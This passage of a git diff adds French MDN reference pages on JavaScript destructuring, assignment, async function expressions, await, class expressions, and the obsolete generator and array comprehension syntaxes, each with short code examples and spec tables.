+<p><a href="https://github.com/tc39/proposal-object-rest-spread">La proposition de décomposition des propriétés et de la syntaxe du reste dans ECMAScript</a> ajoute <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">la syntaxe du reste</a> pour la décomposition. La propriété du reste permet de collecter les propriétés énumérables restantes qui n'auraient pas été extraites par la décomposition :</p>
+
+<pre class="brush: js">let {a, b, ...reste } = {a: 10, b: 20, c: 30, d: 40};
+a; // 10
+b; // 20
+reste; // { c: 30, d: 40 }</pre>
+
+<h3 id="Gestion_des_identifiants_invalides_comme_noms_de_propriétés">Gestion des identifiants invalides comme noms de propriétés</h3>
+
+<p>Si besoin, on peut également utiliser la décomposition pour fournir un alias à des noms de propriétés qui ne seraient pas des identifiants valides. Par exemple :</p>
+
+<pre class="brush: js">const toto = {'truc-bidule': true}
+const {'truc-bidule': trucBidule } = toto;
+
+console.log(trucBidule);  // "true"</pre>
+
+<h3 id="Combiner_la_décomposition_de_tableaux_et_dobjets">Combiner la décomposition de tableaux et d'objets</h3>
+
+<p>Il est possible de décomposer un tableau et un objet simultanément. Dans l'exemple qui suit, on accède ainsi à la propriété <code>nom</code> du troisième élément du tableau <code>props</code>:</p>
+
+<pre class="brush: js">const props = [
+  { id: 1, nom: "Toto"},
+  { id: 2, nom: "Truc"},
+  { id: 3, nom: "Bidule"}
+];
+
+const [,, {nom}] = props;
+console.log(nom); // Bidule</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.destructuring")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation">Opérateurs d'affectation</a></li>
+ <li><a href="https://tech.mozfr.org/post/2015/06/05/ES6-en-details-%3A-la-decomposition">ES6 en détails : La décomposition sur tech.mozfr.org</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/assignement/index.html b/files/fr/web/javascript/reference/opérateurs/assignement/index.html
new file mode 100644
index 0000000000..5011c20000
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/assignement/index.html
@@ -0,0 +1,65 @@
+---
+title: Assignement (=)
+slug: Web/JavaScript/Reference/Opérateurs/Assignement
+tags:
+  - Fonctionnalités du language
+  - JavaScript
+  - Opérateur
+  - Opérateur d'assignement
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur d'assignement simple (<code>=</code>) est utilisé pour définir la valeur d'une variable. Il est possible d'ajouter une valeur à plusieurs variables en chaînant les variables.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}</div>
+
+<div></div>
+
+<p class="hidden">La source de cet exemple interactif est stocké sur GitHub. Si vous voulez contribuer au projet de l'exemple interactif, merci de cloner ceci : <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et nous envoyer une "pull-request".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><strong>Opérateur :</strong> x = y
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Assignement_simple_et_variables_en_chaînes">Assignement simple et variables en chaînes</h3>
+
+<pre class="brush: js notranslate">// On considère les variables suivantes :
+var x = 5;
+var y = 10;
+var z = 25;
+
+x = y;
+// x est égale à 10
+
+x = y = z;
+// x, y et z sont égales à 25</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.operators.assignment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs">Assignment operators in the JS guide</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/async_function/index.html b/files/fr/web/javascript/reference/opérateurs/async_function/index.html
new file mode 100644
index 0000000000..0dd3cf0def
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/async_function/index.html
@@ -0,0 +1,116 @@
+---
+title: Expression async function
+slug: Web/JavaScript/Reference/Opérateurs/async_function
+tags:
+  - Function
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/async_function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Le mot-clé <strong><code>async function</code></strong> peut être utilisé pour définir une fonction asynchrone au sein d'une expression.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est aussi possible de définir une fonction asynchrone en utilisant une <a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function">instruction <code>async function</code></a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">async function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>instructions</em>
+}</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom de la fonction. Il est facultatif et s'il n'est pas utilisé, la fonction est <em>anonyme</em>. Le nom utilisé est uniquement local pour le corps de la fonction.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction.</dd>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui composent le corps de la fonction.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> À partir d'ES2015 (ES6), il est aussi possible d'utiliser des <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">fonctions fléchées</a> pour les expressions de fonction asynchrone.</p>
+</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Une expression <code>async function</code> est très proche, et partage quasiment la même syntaxe avec {{jsxref('Instructions/async_function', 'une instruction async function',"",1)}}. La différence principale entre une expression async <code>function</code> et une instruction async <code>function</code> est qu'on peut omettre le nom de la fonction dans les expressions <code>async function</code>. On peut donc utiliser une expression <code>async function</code> afin de créer une <em>IIFE</em> (pour <em>Immediately Invoked Function Expression</em>) qu'on appelle au moment de sa définition. Voir également le chapitre sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions">les fonctions</a> pour plus d'informations.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+(async function(x) { // fonction asynchrone immédiatement appelée
+  var a = resolveAfter2Seconds(20);
+  var b = resolveAfter2Seconds(30);
+  return x + await a + await b;
+})(10).then(v =&gt; {
+  console.log(v);  // affiche 60 après 2 secondes.
+});
+
+var add = async function(x) {
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+};
+
+add(10).then(v =&gt; {
+  console.log(v);  // affiche 60 après 4 secondes.
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.async_function_expression")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/async_function", "async function")}}</li>
+ <li>L'objet {{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("Opérateurs/await", "await")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/await/index.html b/files/fr/web/javascript/reference/opérateurs/await/index.html
new file mode 100644
index 0000000000..87423b32a0
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/await/index.html
@@ -0,0 +1,132 @@
+---
+title: await
+slug: Web/JavaScript/Reference/Opérateurs/await
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/await
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur <strong><code>await</code></strong> permet d'attendre la résolution d'une promesse ({{jsxref("Promise")}}). Il ne peut être utilisé qu'au sein d'une fonction asynchrone (définie avec l'instruction {{jsxref("Instructions/async_function", "async function")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = await <em>expression</em>;</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Une promesse ({{jsxref("Promise")}}) ou toute autre valeur dont on souhaite attendre la résolution.</dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>La valeur de retour qui est celle de la promesse lorsqu'elle est résolue ou la valeur de l'expression lorsque celle-ci n'est pas une promesse.</p>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'expression <code>await</code> interrompt l'exécution d'une fonction asynchrone et attend la résolution d'une promesse. Lorsque la promesse est résolue (tenue ou rompue), la valeur est renvoyée et l'exécution de la fonction asynchrone reprend. Si la valeur de l'expression n'est pas une promesse, elle est convertie en une promesse résolue ayant cette valeur.</p>
+
+<p>Si la promesse est rompue, l'expression <code>await</code> lève une exception avec la raison.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Si on passe une promesse à une expression <code>await</code>, celle-ci attendra jusqu'à la résolution de la promesse et renverra la valeur de résolution.</p>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function f1() {
+  var x = await resolveAfter2Seconds(10);
+  console.log(x); // 10
+}
+f1();
+</pre>
+
+<p>Les objets dotés d'une méthode <code>then()</code> (<em>thenable</em> en anglais) seront également résolus :</p>
+
+<pre class="brush: js">async function f0() {
+  const thenable = {
+    then: function(resolve, _reject) {
+      resolve("résolu :)");
+    }
+  };
+  console.log(await thenable); // résolu :)
+}
+f0();</pre>
+
+<p>Si la valeur n'est pas une promesse, elle est convertie en une promesse résolue :</p>
+
+<pre class="brush: js">async function f2() {
+  var y = await 20;
+  console.log(y); // 20
+}
+f2();</pre>
+
+<p>Si la promesse est rejetée, la raison est fournie avec l'exception.</p>
+
+<pre class="brush: js">async function f3() {
+  try {
+    var z = await Promise.reject(30);
+  } catch (e) {
+    console.log(e); // 30
+  }
+}
+f3();</pre>
+
+<p>On peut également gérer le cas où la promesse est rejetée grâce à {{jsxref("Promise.prototype.catch()")}} :</p>
+
+<pre class="brush: js">var response = await maFonctionPromesse().catch(
+  (err) =&gt; {
+    console.log(err);
+  }
+);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-async-function-definitions", "async functions")}}</td>
+   <td>{{Spec2("ESDraft")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2018", "#sec-async-function-definitions", "async functions")}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2017", "#sec-async-function-definitions", "async functions")}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.await")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'instruction {{jsxref("Instructions/async_function", "async function")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/async_function", "async function")}}</li>
+ <li>L'objet {{jsxref("AsyncFunction")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/class/index.html b/files/fr/web/javascript/reference/opérateurs/class/index.html
new file mode 100644
index 0000000000..b41f9fc832
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/class/index.html
@@ -0,0 +1,111 @@
+---
+title: class
+slug: Web/JavaScript/Reference/Opérateurs/class
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/class
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p>Une <strong>expression de classe</strong> est un moyen de définir une classe avec ECMASCript 2015 (ES6). Semblable aux <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">expressions de fonctions</a>, les expressions de classes peuvent être nommées ou anonymes. Si l'expression est nommée, le nom de la classe ne sera local que pour le corps de la fonction. Cette syntaxe n'est qu'un « sucre syntaxique » pour faciliter l'écriture du code, elle ne modifie en aucun cas le modèle d'héritage utilisé par JavaScript qui est un modèle à base de prototypes.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-classexpression.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var MaClasse = class [nomClasse] [extends] {
+  // corps de la classe
+};</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Une expression de classe utilise une syntaxe similaire à celle d'une <a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">instruction de classe</a>. En revanche, avec les expressions de classes, il est possible de ne pas nommer la classe, ce qu'il est impossible de faire avec les instructions de classes. De plus, en utilisant les expressions de classe, on peut redéfinir/redéclarer les classes si nécessaire. Le type d'une classe sera toujours <code>"function"</code>.</p>
+
+<p>Le corps d'une classe sera exécuté en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> (pour les instructions et les expressions de classe).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Une_expression_simple">Une expression simple</h3>
+
+<p>Ici, on utilise une expression de classe anonyme qu'on lie à la variable <code>Toto</code>.</p>
+
+<pre class="brush: js">var Toto = class {
+  constructor() {}
+  truc() {
+    return "Coucou monde !";
+  }
+};
+
+var instance = new Toto();
+instance.truc(); // "Coucou monde !"
+Toto.name; // "Toto"
+</pre>
+
+<h3 id="Des_expressions_nommées">Des expressions nommées</h3>
+
+<p>Si on souhaite faire référence à la classe, au sein du corps de la classe, on pourra utiliser une expression nommée. Le nom utilisé ne sera visible que depuis l'intérieur de la portée de l'expression de classe.</p>
+
+<pre class="brush: js">// TBD
+var Toto = class TotoNommé {
+  constructor() {}
+  quiEstLa() {
+    return TotoNommé.name;
+  }
+}
+
+var truc = new Toto;
+truc.quiEstLa(); // "TotoNommmé"
+TotoNommé.name;  // ReferenceError
+Toto.name;       // "TotoNommé"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.class")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">Les expressions <code>function</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">Les déclaration <code>class</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/compréhensions_de_générateur/index.html b/files/fr/web/javascript/reference/opérateurs/compréhensions_de_générateur/index.html
new file mode 100644
index 0000000000..83682e6284
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/compréhensions_de_générateur/index.html
@@ -0,0 +1,183 @@
+---
+title: Compréhensions de générateur
+slug: Web/JavaScript/Reference/Opérateurs/Compréhensions_de_générateur
+tags:
+  - Iterator
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Generator_comprehensions
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko58")}}</div>
+
+<div class="warning"><strong>Non-standard. Ne pas utiliser !</strong><br>
+La syntaxe de  compréhensions de générateurs ne sont pas une fonctionnalité standard et ont été retirées à partir de Firefox 58. Mieux vaut utiliser les {{jsxref("Instructions/function*", "générateurs", "", 1)}} pour des fonctionnalités similaires.</div>
+
+<p>La syntaxe de <strong>compréhension de générateur</strong> était une expression qui permettait de construire rapidement une fonction génératrice à partir d'un objet itérable. Toutefois, cette syntaxe a été retirée du standard et de l'implémentation qui en est faite par Firefox. Elle ne doit pas être utilisée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">(for (x of itérable) x)
+(for (x of itérable) if (condition) x)
+(for (x of itérable) for (y of itérable) x + y)
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Une compréhension de générateur peut contenir deux sortes de composants :</p>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of", "for...of")}} et</li>
+ <li>{{jsxref("Instructions/if...else", "if")}}</li>
+</ul>
+
+<p>L'itération <code>for-of</code> est toujours le premier composant. Il est possible d'utiliser plusieurs itérations <code>for-of</code> et plusieurs instructions <code>if</code>.</p>
+
+<p>Les {{jsxref("Opérateurs/Compréhensions_de_tableau","compréhensions de tableaux","","true")}} ont un inconvénient majeur : quand on les utilise, un nouveau tableau est créé en mémoire. Cela ne pose pas de problème particulier quand le tableau en question est petit (l'impact sera alors léger) mais lorsque le tableau est très grand (voire infini avec un générateur), cela peut poser problème que de vouloir créer un nouveau tableau.</p>
+
+<p>Les générateurs permettent de calculer des suites à la demande (chaque élément successif est calculé lorsqu'on en a besoin). Les compréhensions de générateurs sont presque identiques, d'une point de vue syntaxique, aux compréhensions de tableaux. Plutôt d'utiliser des crochets, elles utilisent des parenthèses et au lieu de créer un tableau, elles créent un générateur qui pourra être utilisé. Cette notation peut être vue comme une notation raccourcie pour créer des générateurs.</p>
+
+<p>Imaginons qu'on ait un itérateur qui parcourt une grande série d'entiers et qu'on veuille créer un itérateur qui itère sur les doubles de ces entiers. Une compréhension de tableau entraînerait la création d'un tableau complet en mémoire, dont les éléments seraient les valeurs doublées :</p>
+
+<pre class="brush: js">var doubles = [for (i in it) i * 2];
+</pre>
+
+<p>En revanche, une compréhension de générateur permettrait de créer un nouvel itérateur qui pourrait être utilisé pour créer les valeurs doublées à la demande, quand on a besoin de les utiliser :</p>
+
+<pre class="brush: js">var it2 = (for (i in it) i * 2);
+console.log(it2.next()); // La première valeur, doublée
+console.log(it2.next()); // La deuxième valeur, doublée
+</pre>
+
+<p>Lorsqu'une compréhension de générateur est utilisée comme un argument d'une fonction, les parenthèses utilisées pour l'appel de la fonction permettent de ne pas écrire les parenthèse encadrant la compréhension :</p>
+
+<pre class="brush: js">var résultat = faireQuelqueChose(for (i in it) i * 2);
+</pre>
+
+<p>Avec la compréhension de générateur, on ne parcourt qu'une fois la structure de l'objet alors qu'avec une compréhension de tableau, on parcourt une fois le tableau pour construire la nouvelle version puis une seconde fois quand on souhaite l'utiliser.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Compréhensions_simples">Compréhensions simples</h3>
+
+<pre class="brush:js">(for (i of [ 1, 2, 3 ]) i*i );
+// fonction génératrice qui générera 1, 4, et 9
+
+[...(for (i of [ 1, 2, 3 ]) i*i )];
+// [1, 4, 9]
+
+var abc = [ "A", "B", "C" ];
+(for (lettres of abc) lettres.toLowerCase());
+// fonction génératrice qui générera "a", "b", et "c"
+</pre>
+
+<h3 id="Compréhensions_utilisant_une_instruction_if">Compréhensions utilisant une instruction <code>if</code></h3>
+
+<pre class="brush: js">var années = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
+
+(for (année of années) if (année &gt; 2000) année);
+// fonction génératrice qui générera 2006, 2010, et 2014
+
+(for (année of années) if (année &gt; 2000) if(année &lt; 2010) année);
+// fonction génératrice qui générera 2006, équivaut à :
+
+(for (année of années) if (année &gt; 2000 &amp;&amp; année &lt; 2010) année);
+// fonction génératrice qui générera 2006
+</pre>
+
+<h3 id="Compréhensions_de_générateurs_et_fonctions_génératrices">Compréhensions de générateurs et fonctions génératrices</h3>
+
+<p>Pour mieux comprendre la syntaxe des compréhensions, on peut la comparer avec celle des fonctions génératrices :</p>
+
+<p>Exemple 1 : Générateur simple.</p>
+
+<pre class="brush: js">var nombres = [ 1, 2, 3 ];
+
+// Fonction génératrice
+(function*() {
+  for (let i of nombres) {
+    yield i * i;
+  }
+})()
+
+// Compréhension de générateur
+(for (i of nombres) i*i );
+
+// Résultat : les deux instructions renvoient chacune un générateur pour créer [ 1, 4, 9 ]
+</pre>
+
+<p>Second exemple : Un générateur avec <code>if</code>.</p>
+
+<pre class="brush: js">var nombres = [ 1, 2, 3 ];
+
+// Fonction génératrice
+(function*() {
+  for (let i of nombres) {
+    if (i &lt; 3) {
+      yield i * 1;
+    }
+  }
+})()
+
+// Compréhension
+(for (i of nombres) if (i &lt; 3) i);
+
+// Résultat : les deux renvoient un générateur qui générera [ 1, 2 ]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Était initialement prévu pour le brouillon ECMAScript 2015 mais fut retiré lors de la révision 27 (août 2014). Consulter les révisions antérieures d'ES2015 pour les spécifications de cette sémantique.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.generator_comprehensions")}}</p>
+
+<h2 id="Notes_relatives_à_l'implémentation_de_SpiderMonkey">Notes relatives à l'implémentation de SpiderMonkey</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/let", "let")}} n'est pas supporté comme identifiant car il n'est disponible qu'avec JavaScript 1.7 et pour la manipulations des balises de script XUL.</li>
+ <li>La décomposition, utilisée dans les compréhensions, n'est pas encore supportée ({{bug(980828)}}).</li>
+</ul>
+
+<h2 id="Différences_avec_les_anciennes_compréhensions_JS_1.7_et_JS_1.8">Différences avec les anciennes compréhensions JS 1.7 et JS 1.8</h2>
+
+<div class="warning">
+<p>Les compréhensions « JS1.7 / JS1.8 » ont été retirées à partir de Gecko 46 ({{bug(1220564)}}).</p>
+</div>
+
+<p><strong>Ancienne syntaxe pour les compréhensions (ne plus l'utiliser) :</strong></p>
+
+<pre class="brush: js example-bad">[X for (Y in Z)]
+[X for each (Y in Z)]
+[X for (Y of Z)]
+</pre>
+
+<p>Les différences :</p>
+
+<ul>
+ <li>Les compréhensions ES2016 créent une portée par nœud <code>for</code> et non pas une portée pour l'ensemble de la compréhension.
+
+  <ul>
+   <li>Ancienne version : <code>[...(()=&gt;x for (x of [0, 1, 2]))][1]() // 2</code></li>
+   <li>Nouvelle version: <code>[...(for (x of [0, 1, 2]) ()=&gt;x)][1]() // 1, chaque itération crée une nouvelle liaison pour x. </code></li>
+  </ul>
+ </li>
+ <li>Les compréhensions ES2016 débutent par <code>for</code> et non pas l'expression d'affectation.
+  <ul>
+   <li>Ancienne version : <code>(i * 2 for (i of nombres))</code></li>
+   <li>Nouvelle version : <code>(for (i of nombres) i * 2)</code></li>
+  </ul>
+ </li>
+ <li>Les compréhensions ES2016 peuvent utiliser plusieurs composants <code>if</code> et <code>for</code>.</li>
+ <li>Les compréhensions ES2016 ne fonctionnent qu'avec les boucles <code>{{jsxref("Instructions/for...of", "for...of")}}</code>, pas avec les boucles <code>{{jsxref("Instructions/for...in", "for...in")}}</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of", "for...of")}}</li>
+ <li>{{jsxref("Opérateurs/Compréhensions_de_tableau", "Compréhensions_de_tableau")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/compréhensions_de_tableau/index.html b/files/fr/web/javascript/reference/opérateurs/compréhensions_de_tableau/index.html
new file mode 100644
index 0000000000..17a61266a9
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/compréhensions_de_tableau/index.html
@@ -0,0 +1,209 @@
+---
+title: Compréhensions de tableau
+slug: Web/JavaScript/Reference/Opérateurs/Compréhensions_de_tableau
+tags:
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Opérateurs
+  - Reference
+translation_of: Archive/Web/JavaScript/Array_comprehensions
+---
+<div>{{jsSidebar("Operators")}}{{Obsolete_Header(58)}}</div>
+
+<div class="warning"><strong>Non-standard. Ne pas utiliser !</strong><br>
+Les compréhensions de tableau ne sont pas standard et ont été retirées à partir de Firefox 58. Pour obtenir des fonctionnalités équivalentes, il est conseillés d'utiliser {{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Fonctions/Fonctions_fléchées", "les fonctions fléchées", "", 1)}} et la{{jsxref("Opérateurs/Opérateurs/Affecter_par_décomposition", "décomposition", "", 1)}}.</div>
+
+<p>La syntaxe de <strong>compréhension de tableau</strong> était une expression JavaScript permettant de construire rapidement un nouveau tableau à partir d'un tableau existant. Toutefois, cette syntaxe a été retirée du standard et de l'implémentation qui en est faite par Firefox. Elle ne doit pas être utilisée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">[for (x of itérable) x]
+[for (x of itérable) if (condition) x]
+[for (x of itérable) for (y of itérable) x + y]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Dans une compréhension de tableau, on peut utiliser deux types de composants :</p>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of", "for...of")}} et</li>
+ <li>{{jsxref("Instructions/if...else", "if")}}</li>
+</ul>
+
+<p>L'itération basée sur <code>for...of</code> sera toujours le premier composant. On peut utiliser plusieurs <code>for...of</code> ou instructions <code>if</code>.</p>
+
